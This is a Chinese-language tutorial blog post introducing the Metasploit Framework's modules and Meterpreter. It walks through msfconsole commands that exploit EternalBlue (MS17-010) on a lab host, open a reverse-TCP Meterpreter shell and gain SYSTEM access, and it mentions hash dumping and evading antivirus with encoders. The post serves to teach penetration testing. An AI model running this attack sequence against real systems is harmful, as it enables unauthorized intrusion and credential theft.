iT邦幫忙

2025 iThome 鐵人賽

DAY 23
0
Security

跨出第一步:D 從0到0.1的Web security 系列 第 23

Day 22: Metaspolit基礎介紹

  • 分享至 

  • xImage
  •  

今天我們來談談滲透測試中的「正規軍」和「軍火庫」—— Metasploit Framework

如果說 Nmap 負責繪製地圖,Burp Suite 負責精密的特種作戰,那麼 Metasploit 就是你用來發動正面總攻、利用已知漏洞進行打擊的標準化作戰平台。它是目前世界上最流行、最廣泛使用的滲透測試框架。


什麼是 Metasploit?

Metasploit Framework 是一個開源的滲透測試平台,它本身不是一個單一的工具,而是一個集成了各種漏洞利用 (Exploits)攻擊載荷 (Payloads) 和輔助工具的框架 (Framework)

它的核心價值在於將複雜的漏洞利用過程標準化、模組化和自動化。在沒有 Metasploit 之前,滲透測試人員需要為每個漏洞手動編寫或尋找不同的攻擊程式,過程繁瑣且容易出錯。Metasploit 將這些攻擊程式整理成一個龐大的、隨時可用的資料庫,讓測試人員可以專注於攻擊的策略,而不是工具的開發。

簡單來說,Metasploit 就像一個軍火庫,裡面裝滿了各式各樣的「飛彈」(攻擊程式),你只需要選定目標、選擇合適的飛彈,設定好參數,然後按下發射按鈕即可。


核心概念:軍火庫的組成

要理解 Metasploit,必須先掌握它的幾個核心術語。我用一個「槍與子彈」的比喻來解釋:

  • Exploit (漏洞利用模組):這就是你的「」。每支槍都是為了攻擊一個特定的弱點而設計的。例如,ms17-010_eternalblue 這個 Exploit 就是專門用來攻擊 Windows SMB 服務的「永恆之藍」漏洞的「槍」。
  • Payload (攻擊載荷):這就是你的「子彈」。當 Exploit(槍)成功擊穿目標的防禦(漏洞)後,Payload(子彈)就會被送入目標系統內部並執行,以達成你的實際目的。
  • Module (模組):框架中所有元件的總稱,Exploits 和 Payloads 都是模組的一種。

Exploit 負責「打進去」,Payload 負責「打進去之後做什麼」。


主要模組與術語詳解

Metasploit 的心臟是它的命令列介面 msfconsole,你將在這裡與框架的各種模組互動。

1. Exploits (漏洞利用模組)

這是框架中最龐大的部分,包含了針對各種平台(Windows, Linux, macOS)、各種軟體(作業系統、資料庫、Web 應用、CMS)的已知漏洞利用程式碼。

2. Payloads (攻擊載荷)

Payloads 決定了你成功入侵後能做什麼。主要分為幾種類型:

  • Shells:最基礎的 Payload,成功後會給你在目標主機上的一個命令列介面 (Shell)。
    • reverse_tcp (反向 Shell):受駭主機主動連線回來攻擊者的電腦。這是最常用的方式,因為可以繞過防火牆對外部連入的限制。
    • bind_tcp (正向 Shell):攻擊者的電腦主動去連線受駭主機上由 Payload 開啟的埠口。
  • MeterpreterMetasploit 的王牌 Payload。它是一個功能極其強大的進階後門,完全在記憶體中運行,很難被防毒軟體偵測到。一旦獲得 Meterpreter session,你就可以:
    • 檔案系統操作:上傳、下載、修改檔案。
    • 權限提升:嘗試從普通使用者權限提升到最高的 SYSTEM/root 權限。
    • 鍵盤側錄、螢幕擷取、錄音、控制網路攝影機
    • 網路漫遊 (Pivoting):將受駭主機當作跳板,去攻擊其內部網路的其他主機。
    • 密碼傾印 (Hash Dump):抓取 Windows 系統中的密碼雜湊值。

3. Auxiliary (輔助模組)

這類模組不直接用於漏洞利用,而是執行掃描、偵察、Fuzzing、DoS 攻擊等輔助任務。例如,用來掃描某個特定漏洞是否存在的主機。

4. Post (後滲透模組)

這類模組在成功取得 Meterpreter 或 Shell 之後使用,用於進一步的資訊收集、權限提升、橫向移動等後滲透階段的任務。

5. Encoders (編碼器)

用來對 Exploit 和 Payload 進行編碼,改變其特徵碼,以嘗試繞過防毒軟體 (AV) 或入侵偵測系統 (IDS) 的偵測。


一個典型的 Metasploit 攻擊流程 (msfconsole)

假設我們已經透過 Nmap 發現一台主機 192.168.1.101 可能存在 MS17-010 (永恆之藍) 漏洞。

第一步:啟動 msfconsole 並搜尋漏洞模組

msf6 > search ms17-010

Matching Modules
================

   #  Name                                 Disclosure Date  Rank     Check  Description
   -  ----                                 ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14   excellent  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   ...

第二步:選擇要使用的 Exploit 和 Payload

# 使用永恆之藍的 Exploit 模組
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 設定攻擊成功後要使用的 Payload (反向連線的 Meterpreter)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

第三步:設定模組選項

# 查看需要設定哪些選項
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
   ...
   RHOSTS      yes  The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   ...
Payload options (windows/x64/meterpreter/reverse_tcp):
   ...
   LHOST       yes  The listen address (an interface may be specified)
   ...

# 設定目標主機的 IP (Remote Host)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.101

# 設定接收連線的本機 IP (Local Host)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50

第四步:執行攻擊

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
...
[+] 192.168.1.101:445 - Success!
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.101:49157) at 2025-10-07 10:20:00 +0800

第五步:取得連線與後滲透
看到 Meterpreter session 1 opened 就代表你成功了!現在你可以與這個 session 互動。

meterpreter > sysinfo
Computer        : VICTIM-PC
OS              : Windows 7 Professional (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

你已經取得了目標主機的最高系統權限 (SYSTEM)。


Metasploit 的版本

  • Metasploit Framework:我們討論的開源、免費命令列版本,是所有專業人士的基礎。
  • Metasploit Pro:由 Rapid7 公司開發的商業版本,提供了 Web 圖形化介面、自動化滲透測試、報告生成等進階功能,適合企業級用戶。
  • Armitage:一個免費的、社群開發的 Metasploit 圖形化前端,可以將攻擊過程視覺化。

Metasploit 是滲透測試人員的標準化攻擊平台。它極大地降低了漏洞利用的技術門檻,讓安全專業人員可以快速、有效地驗證系統是否存在高風險漏洞,並向管理層展示這些漏洞可能造成的實際危害。掌握 Metasploit 是成為一名合格滲透測試工程師的必備技能。


上一篇
Day 21: Nmap基礎介紹
系列文
跨出第一步:D 從0到0.1的Web security 23
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言